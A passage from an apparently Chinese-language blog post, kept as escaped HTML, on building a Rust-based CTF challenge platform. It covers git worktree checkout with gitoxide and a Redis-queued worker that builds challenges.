class=\"nc\"\u003eimpl\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eAsRef\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003ePath\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eas_ref\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclone\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_index\u003c/span\u003e::\u003cspan class=\"n\"\u003eFile\u003c/span\u003e::\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;index\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSha1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eDefault\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eodb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix\u003c/span\u003e::\u003cspan class=\"n\"\u003eodb\u003c/span\u003e::\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;objects\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einto_inner\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einto_arc\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_outcome\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_worktree\u003c/span\u003e::\u003cspan class=\"n\"\u003echeckout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emove\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003eoid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eodb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind_blob\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e::\u003cspan class=\"n\"\u003eDiscard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e::\u003cspan class=\"n\"\u003eDiscard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eAtomicBool\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_worktree\u003c/span\u003e::\u003cspan class=\"n\"\u003echeckout\u003c/span\u003e::\u003cspan class=\"n\"\u003eOptions\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoverwrite_existing\u003c/span\u003e: \u003cspan class=\"nc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e..\u003c/span\u003e\u003cspan class=\"nb\"\u003eDefault\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在git操作上,我选了gitoxide库来查询HEAD所对应的提交记录,并根据提交记录来将整个工作区文件恢复至 dst_path 中。选gitoxide的一大原因是纯rust实现,就个人洁癖而言我还是很愿意费点力气尽力减少二进制依赖的。\u003c/p\u003e\n\u003ch2 id=\"持续集成持续部署\"\u003e持续集成/持续部署\u003c/h2\u003e\n\u003cp\u003e实现完成Git文件存储模块之后,接下来要实现持续集成/持续部署模块来与之相配合,共同完成题目的存储、发布工作。由于题目的构建工作可能耗时很长,因此将其过程放在某个HTTP请求处理过程中是不合适的。同时,构建过程可能会较大的消耗服务器资源,因此需要控制题目构建的资源消耗。\u003c/p\u003e\n\u003cp\u003e在实现方案中使用了Redis提供的消息队列功能来处理题目构建请求。当出题人在平台上请求构建题目时,这个构建请求会被放入Redis的消息队列中。在服务器启动时,会初始化一个单独的线程持续监听消息队列,如果消息队列中有新的构建请求,那么就停止监听并取出这个请求,然后调用题目类型对应的构建代码来处理题目仓库中的文件,根据出题人设置好的配置文件将题目附件、容器等必要组件构建好,存储在stable文件夹中备用。构建完毕之后,构建线程会重新回到监听消息队列的状态,并持续处理之后的构建请求。\u003c/p\u003e\n\u003cp\u003e这样就可以将构建过程消耗的服务器资源控制在单个题目资源上,不会出现题目构建请求过多将服务器硬件资源消耗殆尽,平台无法对外提供服务的情况。\u003c/p\u003e\n\u003cp\u003e构建线程大概长这样:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epub\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003estart_build_worker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecache\u003c/span\u003e: \u003cspan class=\"nc\"\u003eBuilderCache\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etokio\u003c/span\u003e::\u003cspan class=\"n\"\u003espawn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emove\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eloop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_task\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echecker\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen_checker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ematch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echecker\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edebug\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;challenge built: {}:{}\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eErr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;failed to build challenge: {}\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003eopen_checker\u003c/code\u003e 函数用来根据challenge类型来构造checker,然后调用checker对应的build函数来进行构建操作。不同的题目类型构建方式也不一样,这里通过工厂模式实现了逻辑解耦,想实现一个新的题目类型只要按照要求实现一下对应的trait就可以了。\u003c/p\u003e\n\u003cp\u003e一个简单的附件题目构建函数例子:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclean\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan 